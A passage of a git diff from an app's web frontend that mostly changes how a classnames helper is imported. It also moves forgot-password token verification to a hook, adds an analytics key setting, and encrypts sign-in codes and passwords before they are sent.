   payload: GlobalVariable
diff --git a/web/app/components/workflow/panel/index.tsx b/web/app/components/workflow/panel/index.tsx
index 07472f1393..8b4ba27ec3 100644
--- a/web/app/components/workflow/panel/index.tsx
+++ b/web/app/components/workflow/panel/index.tsx
@@ -6,7 +6,7 @@ import { useStore as useReactflow } from 'reactflow'
 import { Panel as NodePanel } from '../nodes'
 import { useStore } from '../store'
 import EnvPanel from './env-panel'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import dynamic from 'next/dynamic'
 
 const VersionHistoryPanel = dynamic(() => import('@/app/components/workflow/panel/version-history-panel'), {
diff --git a/web/app/components/workflow/panel/version-history-panel/context-menu/menu-item.tsx b/web/app/components/workflow/panel/version-history-panel/context-menu/menu-item.tsx
index dcfcb24be7..61916b0200 100644
--- a/web/app/components/workflow/panel/version-history-panel/context-menu/menu-item.tsx
+++ b/web/app/components/workflow/panel/version-history-panel/context-menu/menu-item.tsx
@@ -1,6 +1,6 @@
 import React, { type FC } from 'react'
 import type { VersionHistoryContextMenuOptions } from '../../../types'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 type MenuItemProps = {
   item: {
diff --git a/web/app/components/workflow/panel/version-history-panel/filter/index.tsx b/web/app/components/workflow/panel/version-history-panel/filter/index.tsx
index bd5812aa53..e37bbe2269 100644
--- a/web/app/components/workflow/panel/version-history-panel/filter/index.tsx
+++ b/web/app/components/workflow/panel/version-history-panel/filter/index.tsx
@@ -10,7 +10,7 @@ import {
   PortalToFollowElemTrigger,
 } from '@/app/components/base/portal-to-follow-elem'
 import Divider from '@/app/components/base/divider'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 type FilterProps = {
   filterValue: WorkflowVersionFilterOptions
diff --git a/web/app/components/workflow/panel/version-history-panel/loading/item.tsx b/web/app/components/workflow/panel/version-history-panel/loading/item.tsx
index 96d1fde02d..ff2d746801 100644
--- a/web/app/components/workflow/panel/version-history-panel/loading/item.tsx
+++ b/web/app/components/workflow/panel/version-history-panel/loading/item.tsx
@@ -1,5 +1,5 @@
 import React, { type FC } from 'react'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 type ItemProps = {
   titleWidth: string
diff --git a/web/app/components/workflow/panel/version-history-panel/version-history-item.tsx b/web/app/components/workflow/panel/version-history-panel/version-history-item.tsx
index 797a3fbe4f..558e8ab720 100644
--- a/web/app/components/workflow/panel/version-history-panel/version-history-item.tsx
+++ b/web/app/components/workflow/panel/version-history-panel/version-history-item.tsx
@@ -2,7 +2,7 @@ import React, { useEffect, useState } from 'react'
 import dayjs from 'dayjs'
 import { useTranslation } from 'react-i18next'
 import ContextMenu from './context-menu'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import type { VersionHistory } from '@/types/workflow'
 import { type VersionHistoryContextMenuOptions, WorkflowVersion } from '../../types'
 
diff --git a/web/app/components/workflow/panel/workflow-preview.tsx b/web/app/components/workflow/panel/workflow-preview.tsx
index 292a964b9e..0a702d5ce3 100644
--- a/web/app/components/workflow/panel/workflow-preview.tsx
+++ b/web/app/components/workflow/panel/workflow-preview.tsx
@@ -23,7 +23,7 @@ import {
 import { formatWorkflowRunIdentifier } from '../utils'
 import Toast from '../../base/toast'
 import InputsPanel from './inputs-panel'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import Loading from '@/app/components/base/loading'
 import Button from '@/app/components/base/button'
 
diff --git a/web/app/components/workflow/run/agent-log/agent-log-item.tsx b/web/app/components/workflow/run/agent-log/agent-log-item.tsx
index ce81e361ec..fd375fde45 100644
--- a/web/app/components/workflow/run/agent-log/agent-log-item.tsx
+++ b/web/app/components/workflow/run/agent-log/agent-log-item.tsx
@@ -6,7 +6,7 @@ import {
   RiArrowRightSLine,
   RiListView,
 } from '@remixicon/react'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import Button from '@/app/components/base/button'
 import type { AgentLogItemWithChildren } from '@/types/workflow'
 import NodeStatusIcon from '@/app/components/workflow/nodes/_base/components/node-status-icon'
diff --git a/web/app/components/workflow/run/index.tsx b/web/app/components/workflow/run/index.tsx
index 1256077458..9162429c4d 100644
--- a/web/app/components/workflow/run/index.tsx
+++ b/web/app/components/workflow/run/index.tsx
@@ -8,7 +8,7 @@ import ResultPanel from './result-panel'
 import StatusPanel from './status'
 import { WorkflowRunningStatus } from '@/app/components/workflow/types'
 import TracingPanel from './tracing-panel'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { ToastContext } from '@/app/components/base/toast'
 import Loading from '@/app/components/base/loading'
 import { fetchRunDetail, fetchTracingList } from '@/service/log'
diff --git a/web/app/components/workflow/run/iteration-log/iteration-result-panel.tsx b/web/app/components/workflow/run/iteration-log/iteration-result-panel.tsx
index 3d9ad87890..60293dbd2b 100644
--- a/web/app/components/workflow/run/iteration-log/iteration-result-panel.tsx
+++ b/web/app/components/workflow/run/iteration-log/iteration-result-panel.tsx
@@ -11,7 +11,7 @@ import {
 import { NodeRunningStatus } from '@/app/components/workflow/types'
 import TracingPanel from '@/app/components/workflow/run/tracing-panel'
 import { Iteration } from '@/app/components/base/icons/src/vender/workflow'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import type { IterationDurationMap, NodeTracing } from '@/types/workflow'
 const i18nPrefix = 'workflow.singleRun'
 
diff --git a/web/app/components/workflow/run/loop-log/loop-result-panel.tsx b/web/app/components/workflow/run/loop-log/loop-result-panel.tsx
index 18871537e9..5ce2101d63 100644
--- a/web/app/components/workflow/run/loop-log/loop-result-panel.tsx
+++ b/web/app/components/workflow/run/loop-log/loop-result-panel.tsx
@@ -11,7 +11,7 @@ import {
 import { NodeRunningStatus } from '@/app/components/workflow/types'
 import TracingPanel from '@/app/components/workflow/run/tracing-panel'
 import { Loop } from '@/app/components/base/icons/src/vender/workflow'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import type { LoopDurationMap, LoopVariableMap, NodeTracing } from '@/types/workflow'
 import CodeEditor from '@/app/components/workflow/nodes/_base/components/editor/code-editor'
 import { CodeLanguage } from '@/app/components/workflow/nodes/code/types'
diff --git a/web/app/components/workflow/run/loop-result-panel.tsx b/web/app/components/workflow/run/loop-result-panel.tsx
index 836bef8819..e87e8e54f7 100644
--- a/web/app/components/workflow/run/loop-result-panel.tsx
+++ b/web/app/components/workflow/run/loop-result-panel.tsx
@@ -9,7 +9,7 @@ import {
 import { ArrowNarrowLeft } from '../../base/icons/src/vender/line/arrows'
 import TracingPanel from './tracing-panel'
 import { Loop } from '@/app/components/base/icons/src/vender/workflow'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import type { NodeTracing } from '@/types/workflow'
 
 const i18nPrefix = 'workflow.singleRun'
diff --git a/web/app/components/workflow/run/node.tsx b/web/app/components/workflow/run/node.tsx
index 33124907f3..6482433cde 100644
--- a/web/app/components/workflow/run/node.tsx
+++ b/web/app/components/workflow/run/node.tsx
@@ -15,7 +15,7 @@ import { RetryLogTrigger } from './retry-log'
 import { IterationLogTrigger } from './iteration-log'
 import { LoopLogTrigger } from './loop-log'
 import { AgentLogTrigger } from './agent-log'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import StatusContainer from '@/app/components/workflow/run/status-container'
 import CodeEditor from '@/app/components/workflow/nodes/_base/components/editor/code-editor'
 import { CodeLanguage } from '@/app/components/workflow/nodes/code/types'
diff --git a/web/app/components/workflow/run/status-container.tsx b/web/app/components/workflow/run/status-container.tsx
index 6837592c4e..618c25a3f4 100644
--- a/web/app/components/workflow/run/status-container.tsx
+++ b/web/app/components/workflow/run/status-container.tsx
@@ -1,7 +1,7 @@
 'use client'
 import type { FC } from 'react'
 import { Theme } from '@/types/app'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import useTheme from '@/hooks/use-theme'
 
 type Props = {
diff --git a/web/app/components/workflow/run/status.tsx b/web/app/components/workflow/run/status.tsx
index 823ede2be4..7b272ee444 100644
--- a/web/app/components/workflow/run/status.tsx
+++ b/web/app/components/workflow/run/status.tsx
@@ -1,7 +1,7 @@
 'use client'
 import type { FC } from 'react'
 import { useTranslation } from 'react-i18next'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import Indicator from '@/app/components/header/indicator'
 import StatusContainer from '@/app/components/workflow/run/status-container'
 import { useDocLink } from '@/context/i18n'
diff --git a/web/app/components/workflow/run/tracing-panel.tsx b/web/app/components/workflow/run/tracing-panel.tsx
index 22d49792b9..77f64dfba8 100644
--- a/web/app/components/workflow/run/tracing-panel.tsx
+++ b/web/app/components/workflow/run/tracing-panel.tsx
@@ -6,7 +6,7 @@ React,
   useCallback,
   useState,
 } from 'react'
-import cn from 'classnames'
+import { cn } from '@/utils/classnames'
 import {
   RiArrowDownSLine,
   RiMenu4Line,
diff --git a/web/app/components/workflow/shortcuts-name.tsx b/web/app/components/workflow/shortcuts-name.tsx
index 9dd8c4bcd1..c901d0c2d1 100644
--- a/web/app/components/workflow/shortcuts-name.tsx
+++ b/web/app/components/workflow/shortcuts-name.tsx
@@ -1,6 +1,6 @@
 import { memo } from 'react'
 import { getKeyboardKeyNameBySystem } from './utils'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 type ShortcutsNameProps = {
   keys: string[]
diff --git a/web/app/components/workflow/simple-node/index.tsx b/web/app/components/workflow/simple-node/index.tsx
index 09e57de863..d6f0804f34 100644
--- a/web/app/components/workflow/simple-node/index.tsx
+++ b/web/app/components/workflow/simple-node/index.tsx
@@ -15,7 +15,7 @@ import {
   NodeTargetHandle,
 } from '@/app/components/workflow/nodes/_base/components/node-handle'
 import NodeControl from '@/app/components/workflow/nodes/_base/components/node-control'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import BlockIcon from '@/app/components/workflow/block-icon'
 import type {
   NodeProps,
diff --git a/web/app/components/workflow/utils/node.ts b/web/app/components/workflow/utils/node.ts
index 726908bff1..97ca7553e8 100644
--- a/web/app/components/workflow/utils/node.ts
+++ b/web/app/components/workflow/utils/node.ts
@@ -105,7 +105,7 @@ export function getLoopStartNode(loopId: string): Node {
 
 export const genNewNodeTitleFromOld = (oldTitle: string) => {
   const regex = /^(.+?)\s*\((\d+)\)\s*$/
-  const match = oldTitle.match(regex)
+  const match = regex.exec(oldTitle)
 
   if (match) {
     const title = match[1]
diff --git a/web/app/components/workflow/variable-inspect/display-content.tsx b/web/app/components/workflow/variable-inspect/display-content.tsx
index e4098cfe53..249f948719 100644
--- a/web/app/components/workflow/variable-inspect/display-content.tsx
+++ b/web/app/components/workflow/variable-inspect/display-content.tsx
@@ -5,7 +5,7 @@ import Textarea from '@/app/components/base/textarea'
 import { Markdown } from '@/app/components/base/markdown'
 import SchemaEditor from '@/app/components/workflow/nodes/llm/components/json-schema-config-modal/schema-editor'
 import { SegmentedControl } from '@/app/components/base/segmented-control'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { ChunkCardList } from '@/app/components/rag-pipeline/components/chunk-card-list'
 import type { ChunkInfo } from '@/app/components/rag-pipeline/components/chunk-card-list/types'
 import type { ParentMode } from '@/models/datasets'
diff --git a/web/app/components/workflow/variable-inspect/group.tsx b/web/app/components/workflow/variable-inspect/group.tsx
index 923c5ce289..0887a3823d 100644
--- a/web/app/components/workflow/variable-inspect/group.tsx
+++ b/web/app/components/workflow/variable-inspect/group.tsx
@@ -14,7 +14,7 @@ import BlockIcon from '@/app/components/workflow/block-icon'
 import type { currentVarType } from './panel'
 import { VarInInspectType } from '@/types/workflow'
 import type { NodeWithVar, VarInInspect } from '@/types/workflow'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { useToolIcon } from '../hooks'
 import { VariableIconWithColor } from '@/app/components/workflow/nodes/_base/components/variable/variable-label'
 
diff --git a/web/app/components/workflow/variable-inspect/index.tsx b/web/app/components/workflow/variable-inspect/index.tsx
index 9da35c152c..64466ee312 100644
--- a/web/app/components/workflow/variable-inspect/index.tsx
+++ b/web/app/components/workflow/variable-inspect/index.tsx
@@ -7,7 +7,7 @@ import { debounce } from 'lodash-es'
 import { useStore } from '../store'
 import { useResizePanel } from '../nodes/_base/hooks/use-resize-panel'
 import Panel from './panel'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 const VariableInspectPanel: FC = () => {
   const showVariableInspectPanel = useStore(s => s.showVariableInspectPanel)
diff --git a/web/app/components/workflow/variable-inspect/large-data-alert.tsx b/web/app/components/workflow/variable-inspect/large-data-alert.tsx
index 35b3648154..a6e00bf591 100644
--- a/web/app/components/workflow/variable-inspect/large-data-alert.tsx
+++ b/web/app/components/workflow/variable-inspect/large-data-alert.tsx
@@ -2,7 +2,7 @@
 import { RiInformation2Fill } from '@remixicon/react'
 import type { FC } from 'react'
 import React from 'react'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { useTranslation } from 'react-i18next'
 
 type Props = {
diff --git a/web/app/components/workflow/variable-inspect/left.tsx b/web/app/components/workflow/variable-inspect/left.tsx
index ecc5836781..b177440b2f 100644
--- a/web/app/components/workflow/variable-inspect/left.tsx
+++ b/web/app/components/workflow/variable-inspect/left.tsx
@@ -11,7 +11,7 @@ import { useNodesInteractions } from '../hooks/use-nodes-interactions'
 import type { currentVarType } from './panel'
 import type { VarInInspect } from '@/types/workflow'
 import { VarInInspectType } from '@/types/workflow'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 type Props = {
   currentNodeVar?: currentVarType
diff --git a/web/app/components/workflow/variable-inspect/panel.tsx b/web/app/components/workflow/variable-inspect/panel.tsx
index c0ad4cd159..047bede826 100644
--- a/web/app/components/workflow/variable-inspect/panel.tsx
+++ b/web/app/components/workflow/variable-inspect/panel.tsx
@@ -14,7 +14,7 @@ import ActionButton from '@/app/components/base/action-button'
 import type { VarInInspect } from '@/types/workflow'
 import { VarInInspectType } from '@/types/workflow'
 
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import type { NodeProps } from '../types'
 import useMatchSchemaType from '../nodes/_base/components/variable/use-match-schema-type'
 import { useEventEmitterContextContext } from '@/context/event-emitter'
diff --git a/web/app/components/workflow/variable-inspect/right.tsx b/web/app/components/workflow/variable-inspect/right.tsx
index dcbc951533..9fbf18dd64 100644
--- a/web/app/components/workflow/variable-inspect/right.tsx
+++ b/web/app/components/workflow/variable-inspect/right.tsx
@@ -19,7 +19,7 @@ import BlockIcon from '@/app/components/workflow/block-icon'
 import Loading from '@/app/components/base/loading'
 import type { currentVarType } from './panel'
 import { VarInInspectType } from '@/types/workflow'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import useNodeInfo from '../nodes/_base/hooks/use-node-info'
 import { useBoolean } from 'ahooks'
 import GetAutomaticResModal from '@/app/components/app/configuration/config/automatic/get-automatic-res'
diff --git a/web/app/components/workflow/variable-inspect/trigger.tsx b/web/app/components/workflow/variable-inspect/trigger.tsx
index 6b2fc38329..33161a6c5e 100644
--- a/web/app/components/workflow/variable-inspect/trigger.tsx
+++ b/web/app/components/workflow/variable-inspect/trigger.tsx
@@ -11,7 +11,7 @@ import { NodeRunningStatus } from '@/app/components/workflow/types'
 import type { CommonNodeType } from '@/app/components/workflow/types'
 import { useEventEmitterContextContext } from '@/context/event-emitter'
 import { EVENT_WORKFLOW_STOP } from '@/app/components/workflow/variable-inspect/types'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { useNodesReadOnly } from '../hooks/use-workflow'
 
 const VariableInspectTrigger: FC = () => {
diff --git a/web/app/components/workflow/variable-inspect/value-content.tsx b/web/app/components/workflow/variable-inspect/value-content.tsx
index 47546a863e..0009fb4580 100644
--- a/web/app/components/workflow/variable-inspect/value-content.tsx
+++ b/web/app/components/workflow/variable-inspect/value-content.tsx
@@ -19,7 +19,7 @@ import { FILE_EXTS } from '@/app/components/base/prompt-editor/constants'
 import { SupportUploadFileTypes } from '@/app/components/workflow/types'
 import type { VarInInspect } from '@/types/workflow'
 import { VarInInspectType } from '@/types/workflow'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import LargeDataAlert from './large-data-alert'
 import BoolValue from '../panel/chat-variable-panel/components/bool-value'
 import { useStore } from '@/app/components/workflow/store'
diff --git a/web/app/components/workflow/workflow-preview/components/error-handle-on-node.tsx b/web/app/components/workflow/workflow-preview/components/error-handle-on-node.tsx
index 3f1e2120a5..03ee1c7f47 100644
--- a/web/app/components/workflow/workflow-preview/components/error-handle-on-node.tsx
+++ b/web/app/components/workflow/workflow-preview/components/error-handle-on-node.tsx
@@ -5,7 +5,7 @@ import { NodeSourceHandle } from './node-handle'
 import { ErrorHandleTypeEnum } from '@/app/components/workflow/nodes/_base/components/error-handle/types'
 import type { Node } from '@/app/components/workflow/types'
 import { NodeRunningStatus } from '@/app/components/workflow/types'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 type ErrorHandleOnNodeProps = Pick<Node, 'id' | 'data'>
 const ErrorHandleOnNode = ({
diff --git a/web/app/components/workflow/workflow-preview/components/node-handle.tsx b/web/app/components/workflow/workflow-preview/components/node-handle.tsx
index 2211e3397f..dd44daf1e4 100644
--- a/web/app/components/workflow/workflow-preview/components/node-handle.tsx
+++ b/web/app/components/workflow/workflow-preview/components/node-handle.tsx
@@ -9,7 +9,7 @@ import {
   BlockEnum,
 } from '@/app/components/workflow/types'
 import type { Node } from '@/app/components/workflow/types'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 type NodeHandleProps = {
   handleId: string
diff --git a/web/app/components/workflow/workflow-preview/components/nodes/base.tsx b/web/app/components/workflow/workflow-preview/components/nodes/base.tsx
index c7483c11bb..58df273917 100644
--- a/web/app/components/workflow/workflow-preview/components/nodes/base.tsx
+++ b/web/app/components/workflow/workflow-preview/components/nodes/base.tsx
@@ -6,7 +6,7 @@ import {
   memo,
 } from 'react'
 import { useTranslation } from 'react-i18next'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import BlockIcon from '@/app/components/workflow/block-icon'
 import type {
   NodeProps,
diff --git a/web/app/components/workflow/workflow-preview/components/nodes/iteration/node.tsx b/web/app/components/workflow/workflow-preview/components/nodes/iteration/node.tsx
index fbbbfc716f..5f1ba79810 100644
--- a/web/app/components/workflow/workflow-preview/components/nodes/iteration/node.tsx
+++ b/web/app/components/workflow/workflow-preview/components/nodes/iteration/node.tsx
@@ -7,7 +7,7 @@ import {
   useViewport,
 } from 'reactflow'
 import type { IterationNodeType } from '@/app/components/workflow/nodes/iteration/types'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import type { NodeProps } from '@/app/components/workflow/types'
 
 const Node: FC<NodeProps<IterationNodeType>> = ({
diff --git a/web/app/components/workflow/workflow-preview/components/nodes/loop/node.tsx b/web/app/components/workflow/workflow-preview/components/nodes/loop/node.tsx
index f41fa120a6..9cd3eec716 100644
--- a/web/app/components/workflow/workflow-preview/components/nodes/loop/node.tsx
+++ b/web/app/components/workflow/workflow-preview/components/nodes/loop/node.tsx
@@ -9,7 +9,7 @@ import {
   useViewport,
 } from 'reactflow'
 import type { LoopNodeType } from '@/app/components/workflow/nodes/loop/types'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import type { NodeProps } from '@/app/components/workflow/types'
 import { useNodeLoopInteractions } from './hooks'
 
diff --git a/web/app/components/workflow/workflow-preview/components/note-node/index.tsx b/web/app/components/workflow/workflow-preview/components/note-node/index.tsx
index 4cbba996f3..48390efb9c 100644
--- a/web/app/components/workflow/workflow-preview/components/note-node/index.tsx
+++ b/web/app/components/workflow/workflow-preview/components/note-node/index.tsx
@@ -10,7 +10,7 @@ import {
 } from '@/app/components/workflow/note-node/note-editor'
 import { THEME_MAP } from '@/app/components/workflow/note-node/constants'
 import type { NoteNodeType } from '@/app/components/workflow/note-node/types'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 const NoteNode = ({
   data,
diff --git a/web/app/components/workflow/workflow-preview/components/zoom-in-out.tsx b/web/app/components/workflow/workflow-preview/components/zoom-in-out.tsx
index 0576f317a0..2322db25ee 100644
--- a/web/app/components/workflow/workflow-preview/components/zoom-in-out.tsx
+++ b/web/app/components/workflow/workflow-preview/components/zoom-in-out.tsx
@@ -17,7 +17,7 @@ import {
 import ShortcutsName from '@/app/components/workflow/shortcuts-name'
 import Divider from '@/app/components/base/divider'
 import TipPopup from '@/app/components/workflow/operator/tip-popup'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import {
   PortalToFollowElem,
   PortalToFollowElemContent,
diff --git a/web/app/components/workflow/workflow-preview/index.tsx b/web/app/components/workflow/workflow-preview/index.tsx
index 5fd4b9097c..5ce85a8804 100644
--- a/web/app/components/workflow/workflow-preview/index.tsx
+++ b/web/app/components/workflow/workflow-preview/index.tsx
@@ -28,7 +28,7 @@ import {
   CUSTOM_NODE,
   ITERATION_CHILDREN_Z_INDEX,
 } from '@/app/components/workflow/constants'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import {
   initialEdges,
   initialNodes,
diff --git a/web/app/education-apply/role-selector.tsx b/web/app/education-apply/role-selector.tsx
index b8448a0052..e6d6a67b89 100644
--- a/web/app/education-apply/role-selector.tsx
+++ b/web/app/education-apply/role-selector.tsx
@@ -1,5 +1,5 @@
 import { useTranslation } from 'react-i18next'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 type RoleSelectorProps = {
   onChange: (value: string) => void
diff --git a/web/app/forgot-password/ChangePasswordForm.tsx b/web/app/forgot-password/ChangePasswordForm.tsx
index cb02ca44db..66119ea691 100644
--- a/web/app/forgot-password/ChangePasswordForm.tsx
+++ b/web/app/forgot-password/ChangePasswordForm.tsx
@@ -1,30 +1,28 @@
 'use client'
 import { useCallback, useState } from 'react'
 import { useTranslation } from 'react-i18next'
-import useSWR from 'swr'
 import { useSearchParams } from 'next/navigation'
 import { basePath } from '@/utils/var'
-import cn from 'classnames'
+import { cn } from '@/utils/classnames'
 import { CheckCircleIcon } from '@heroicons/react/24/solid'
 import Input from '../components/base/input'
 import Button from '@/app/components/base/button'
-import { changePasswordWithToken, verifyForgotPasswordToken } from '@/service/common'
+import { changePasswordWithToken } from '@/service/common'
 import Toast from '@/app/components/base/toast'
 import Loading from '@/app/components/base/loading'
 import { validPassword } from '@/config'
+import { useVerifyForgotPasswordToken } from '@/service/use-common'
 
 const ChangePasswordForm = () => {
   const { t } = useTranslation()
   const searchParams = useSearchParams()
   const token = searchParams.get('token')
+  const isTokenMissing = !token
 
-  const verifyTokenParams = {
-    url: '/forgot-password/validity',
-    body: { token },
-  }
-  const { data: verifyTokenRes, mutate: revalidateToken } = useSWR(verifyTokenParams, verifyForgotPasswordToken, {
-    revalidateOnFocus: false,
-  })
+  const {
+    data: verifyTokenRes,
+    refetch: revalidateToken,
+  } = useVerifyForgotPasswordToken(token)
 
   const [password, setPassword] = useState('')
   const [confirmPassword, setConfirmPassword] = useState('')
@@ -82,8 +80,8 @@ const ChangePasswordForm = () => {
         'md:px-[108px]',
       )
     }>
-      {!verifyTokenRes && <Loading />}
-      {verifyTokenRes && !verifyTokenRes.is_valid && (
+      {!isTokenMissing && !verifyTokenRes && <Loading />}
+      {(isTokenMissing || (verifyTokenRes && !verifyTokenRes.is_valid)) && (
         <div className="flex flex-col md:w-[400px]">
           <div className="mx-auto w-full">
             <div className="mb-3 flex h-20 w-20 items-center justify-center rounded-[20px] border border-divider-regular bg-components-option-card-option-bg p-5 text-[40px] font-bold shadow-lg">🤷‍♂️</div>
diff --git a/web/app/forgot-password/page.tsx b/web/app/forgot-password/page.tsx
index 3b92b7b013..3c78f734ad 100644
--- a/web/app/forgot-password/page.tsx
+++ b/web/app/forgot-password/page.tsx
@@ -1,6 +1,6 @@
 'use client'
 import React from 'react'
-import cn from 'classnames'
+import { cn } from '@/utils/classnames'
 import { useSearchParams } from 'next/navigation'
 import Header from '../signin/_header'
 import ForgotPasswordForm from './ForgotPasswordForm'
diff --git a/web/app/init/page.tsx b/web/app/init/page.tsx
index c3d439fcb1..2842f3a739 100644
--- a/web/app/init/page.tsx
+++ b/web/app/init/page.tsx
@@ -1,6 +1,6 @@
 import React from 'react'
 import InitPasswordPopup from './InitPasswordPopup'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 const Install = () => {
   return (
diff --git a/web/app/install/installForm.tsx b/web/app/install/installForm.tsx
index 01bfd59b6d..48956888fc 100644
--- a/web/app/install/installForm.tsx
+++ b/web/app/install/installForm.tsx
@@ -11,7 +11,7 @@ import { useForm } from 'react-hook-form'
 import { z } from 'zod'
 import { zodResolver } from '@hookform/resolvers/zod'
 import Loading from '../components/base/loading'
-import classNames from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import Button from '@/app/components/base/button'
 
 import { fetchInitValidateStatus, fetchSetupStatus, login, setup } from '@/service/common'
@@ -177,7 +177,7 @@ const InstallForm = () => {
                   </div>
                 </div>
 
-                <div className={classNames('mt-1 text-xs text-text-secondary', {
+                <div className={cn('mt-1 text-xs text-text-secondary', {
                   'text-red-400 !text-sm': errors.password,
                 })}>{t('login.error.passwordInvalid')}</div>
               </div>
diff --git a/web/app/install/page.tsx b/web/app/install/page.tsx
index 304f44b35c..b3cdeb5ca4 100644
--- a/web/app/install/page.tsx
+++ b/web/app/install/page.tsx
@@ -2,7 +2,7 @@
 import React from 'react'
 import Header from '../signin/_header'
 import InstallForm from './installForm'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { useGlobalPublicStore } from '@/context/global-public-context'
 
 const Install = () => {
diff --git a/web/app/layout.tsx b/web/app/layout.tsx
index 878f335b92..94a26eb776 100644
--- a/web/app/layout.tsx
+++ b/web/app/layout.tsx
@@ -12,7 +12,7 @@ import './styles/markdown.scss'
 import GlobalPublicStoreProvider from '@/context/global-public-context'
 import { DatasetAttr } from '@/types/feature'
 import { Instrument_Serif } from 'next/font/google'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 export const viewport: Viewport = {
   width: 'device-width',
@@ -42,6 +42,7 @@ const LocaleLayout = async ({
     [DatasetAttr.DATA_MARKETPLACE_API_PREFIX]: process.env.NEXT_PUBLIC_MARKETPLACE_API_PREFIX,
     [DatasetAttr.DATA_MARKETPLACE_URL_PREFIX]: process.env.NEXT_PUBLIC_MARKETPLACE_URL_PREFIX,
     [DatasetAttr.DATA_PUBLIC_EDITION]: process.env.NEXT_PUBLIC_EDITION,
+    [DatasetAttr.DATA_PUBLIC_AMPLITUDE_API_KEY]: process.env.NEXT_PUBLIC_AMPLITUDE_API_KEY,
     [DatasetAttr.DATA_PUBLIC_COOKIE_DOMAIN]: process.env.NEXT_PUBLIC_COOKIE_DOMAIN,
     [DatasetAttr.DATA_PUBLIC_SUPPORT_MAIL_LOGIN]: process.env.NEXT_PUBLIC_SUPPORT_MAIL_LOGIN,
     [DatasetAttr.DATA_PUBLIC_SENTRY_DSN]: process.env.NEXT_PUBLIC_SENTRY_DSN,
diff --git a/web/app/reset-password/layout.tsx b/web/app/reset-password/layout.tsx
index 979c64e7c9..724873f30f 100644
--- a/web/app/reset-password/layout.tsx
+++ b/web/app/reset-password/layout.tsx
@@ -1,7 +1,7 @@
 'use client'
 import Header from '../signin/_header'
 
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { useGlobalPublicStore } from '@/context/global-public-context'
 
 export default function SignInLayout({ children }: any) {
diff --git a/web/app/reset-password/set-password/page.tsx b/web/app/reset-password/set-password/page.tsx
index 18b7ac12fb..30950a3dff 100644
--- a/web/app/reset-password/set-password/page.tsx
+++ b/web/app/reset-password/set-password/page.tsx
@@ -2,7 +2,7 @@
 import { useCallback, useState } from 'react'
 import { useTranslation } from 'react-i18next'
 import { useRouter, useSearchParams } from 'next/navigation'
-import cn from 'classnames'
+import { cn } from '@/utils/classnames'
 import { RiCheckboxCircleFill } from '@remixicon/react'
 import { useCountDown } from 'ahooks'
 import Button from '@/app/components/base/button'
diff --git a/web/app/signin/check-code/page.tsx b/web/app/signin/check-code/page.tsx
index 4af2bdd1cc..36c3c67a58 100644
--- a/web/app/signin/check-code/page.tsx
+++ b/web/app/signin/check-code/page.tsx
@@ -12,6 +12,7 @@ import { emailLoginWithCode, sendEMailLoginCode } from '@/service/common'
 import I18NContext from '@/context/i18n'
 import { resolvePostLoginRedirect } from '../utils/post-login-redirect'
 import { trackEvent } from '@/app/components/base/amplitude'
+import { encryptVerificationCode } from '@/utils/encryption'
 
 export default function CheckCode() {
   const { t, i18n } = useTranslation()
@@ -43,7 +44,7 @@ export default function CheckCode() {
         return
       }
       setIsLoading(true)
-      const ret = await emailLoginWithCode({ email, code, token, language })
+      const ret = await emailLoginWithCode({ email, code: encryptVerificationCode(code), token, language })
       if (ret.result === 'success') {
         // Track login success event
         trackEvent('user_login_success', {
diff --git a/web/app/signin/components/mail-and-password-auth.tsx b/web/app/signin/components/mail-and-password-auth.tsx
index ba37087719..27c37e3e26 100644
--- a/web/app/signin/components/mail-and-password-auth.tsx
+++ b/web/app/signin/components/mail-and-password-auth.tsx
@@ -13,6 +13,7 @@ import { noop } from 'lodash-es'
 import { resolvePostLoginRedirect } from '../utils/post-login-redirect'
 import type { ResponseError } from '@/service/fetch'
 import { trackEvent } from '@/app/components/base/amplitude'
+import { encryptPassword } from '@/utils/encryption'
 
 type MailAndPasswordAuthProps = {
   isInvite: boolean
